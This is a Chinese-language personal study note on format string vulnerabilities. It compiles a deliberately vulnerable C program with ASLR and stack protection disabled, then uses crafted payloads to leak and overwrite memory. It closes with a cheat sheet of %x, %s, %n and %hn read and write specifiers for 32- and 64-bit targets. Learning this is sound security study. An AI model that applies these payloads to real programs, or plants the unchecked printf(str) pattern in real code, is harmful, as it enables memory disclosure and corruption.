#学习记录:格式化字符串漏洞利用
##1 背景
之前在实际漏洞利用的过程中,用过几次格式化字符串,一直都是照葫芦画瓢,一直都是有点模棱两可的,趁着有时间,赶紧把这个漏洞补上。
参考文章:http://www.secbox.cn/hacker/7482.html
http://www.freebuf.com/articles/network/62473.html
http://blog.csdn.net/immcss/article/details/6267849
##2 格式化字符串案例
###2.1 案例编译
#include<stdio.h>
int main() {
char str[100];
fgets(str,100,stdin);
printf(str);
return 0;
}
编译的过程要把ASLR关闭,使用root权限关闭,然后切换回普通权限
echo 0 > /proc/sys/kernel/randomize_va_space
使用普通的用户组进行编译,注意关闭堆栈保护
gcc -m32 -z execstack -fno-stack-protector format_str.c -o format_str -g
###2.2 案例分析
####2.2.1 探测堆栈分布
当写入ABCD时,内存分布如下
可以看出写入的内容是反向的
####2.2.2 使用%s泄漏内存info
通过上面的探测,我们发现,其实前面一段输入已经写入内存
比如,如果想要获取地址0x44434241地址的值
ABCD输入之后,探测到第七个%08x为ABCD的值,
如果将这个%08d替换为%s,实际上就相当于从0x44434241这个地址读取一段内存,造成了内存泄漏的漏洞。
因此,如果我要获取0xffffd4f0的值,通过上面的输入对比可知,需要逆转:
\xf0\xd4\xff\xff%08x%08x%08x%08x%08x%08x%s
然而,当从shell输入之后,得到如下结果:程序崩溃了
后来发现shell 在读取\x时会自动转化为\x因此难免崩溃了。
因此修改程序如下:
#include<stdio.h>
int main() {
int a = 0xffffd480;
int *p = (int*)a;
*p = 1234;
printf("\np=%s\n",p);
// char str[40] = "AAAA%08x%08x%08x%08x%08x";
char str[40] = "\x80\xd4\xff\xff%08x%08x%08x%s";
// fgets(str,100,stdin);
printf(str);
printf("\np=%s\n",p);
return 0;
}
####2.2.3 %n 写入N
修改代码为:N = 4+ 3*8 = 28
#include<stdio.h>
int main() {
int a = 0xffffd480;
int *p = (int*)a;
*p = 1234;
printf("\np=%s\n",p);
// char str[40] = "AAAA%08x%08x%08x%08x%08x";
char str[40] = "\x80\xd4\xff\xff%08x%08x%08x%n";
// fgets(str,100,stdin);
printf(str);
printf("\np=%d\n",*p);
return 0;
}
经过探测,发现为第四个%08x,修改为某个可访问地址获得内存信息
通过控制位数,完成任意长度构造
char str[40] = "\x80\xd4\xff\xff%08x%08x%100x%n";
##3 备注
当然,这些都是最简单的情况,
关闭了所有的保护,并且使用的32位的程序,
真正在实际中,遇到的要比这些复制的多,都是配合shellcode或者跳转到system函数
###3.1 Format
%[标志][输出最小宽度][.精度][长度]类型
其中跟格式化字符串漏洞有关系的主要有以下几点:
1、输出最小宽度:用十进制整数来表示输出的最少位数。若实际位数多于定义的宽度,则按实际位数输出,若实际位数少于定义的宽度则补以空格或0。
2、类型:
d 表示输出十进制整数*
s 从内存中读取字符串*
x 输出十六进制数*
n 输出十六进制数
http://www.cnblogs.com/Ox9A82/p/5429099.html
32位
读
'%{}$x'.format(index) // 读4个字节
'%{}$p'.format(index) // 同上面
'${}$s'.format(index)
写
'%{}$n'.format(index) // 解引用,写入四个字节
'%{}$hn'.format(index) // 解引用,写入两个字节
'%{}$hhn'.format(index) // 解引用,写入一个字节
'%{}$lln'.format(index) // 解引用,写入八个字节
64位
读
'%{}$x'.format(index, num) // 读4个字节
'%{}$lx'.format(index, num) // 读8个字节
'%{}$p'.format(index) // 读8个字节
'${}$s'.format(index)
写
'%{}$n'.format(index) // 解引用,写入四个字节
'%{}$hn'.format(index) // 解引用,写入两个字节
'%{}$hhn'.format(index) // 解引用,写入一个字节
'%{}$lln'.format(index) // 解引用,写入八个字节
%1$lx: RSI
%2$lx: RDX
%3$lx: RCX
%4$lx: R8
%5$lx: R9
%6$lx: 栈上的第一个QWORD